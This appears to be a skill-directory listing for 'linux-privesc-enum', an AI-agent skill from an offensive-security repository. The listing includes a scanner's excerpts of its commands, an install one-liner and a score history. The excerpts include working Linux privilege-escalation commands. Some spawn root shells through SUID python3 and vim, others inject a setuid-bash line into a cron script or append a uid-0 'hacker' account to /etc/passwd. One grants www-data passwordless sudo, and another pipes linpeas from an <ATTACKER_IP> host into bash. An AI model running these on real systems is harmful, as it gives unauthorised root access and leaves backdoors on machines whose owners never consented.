linux-privesc-enum

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By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016

Systematic Linux privilege-escalation enumeration methodology — ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a coding skill.

Found in 15 places.

packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 26id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 53sudo -l 2>/dev/null
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 75cat > /tmp/pe.c << 'EOF'

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packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 93find / -perm -4000 -type f 2>/dev/null | sort
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 108/bin/bash -p # -p preserves effective UID
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 114/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 120/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 147getcap -r / 2>/dev/null
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 161/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 193cat /etc/crontab
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 217echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 244find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|tmp|run)'
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 273cat /etc/exports 2>/dev/null
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 294uname -a
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 320curl -sSL https://<ATTACKER_IP>/linpeas.sh | bash 2>/dev/null | tee /tmp/linpeas.txt

Changes files outside its own folder

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Found in 3 places.

packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 130/usr/bin/cp /tmp/newpasswd /etc/passwd
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 137echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoers
packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 257echo 'hacker:$1$abc$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd

Downloads and installs other software

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Found in 1 place.

packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 320curl -sSL https://<ATTACKER_IP>/linpeas.sh | bash 2>/dev/null | tee /tmp/linpeas.txt

Connects to the internet

The author does not mention this.

Found in 1 place.

packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md, line 320curl -sSL https://<ATTACKER_IP>/linpeas.sh | bash 2>/dev/null | tee /tmp/linpeas.txt

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Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'linux-privesc-enum' ] || [ -L ~/.agents/skills/'linux-privesc-enum' ]; then echo 'A skill folder named linux-privesc-enum already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum' ~/.agents/skills/'linux-privesc-enum' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'linux-privesc-enum' ~/.claude/skills/'linux-privesc-enum' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-11	`bdb1016`	65
2026-11-08	`df87955`	65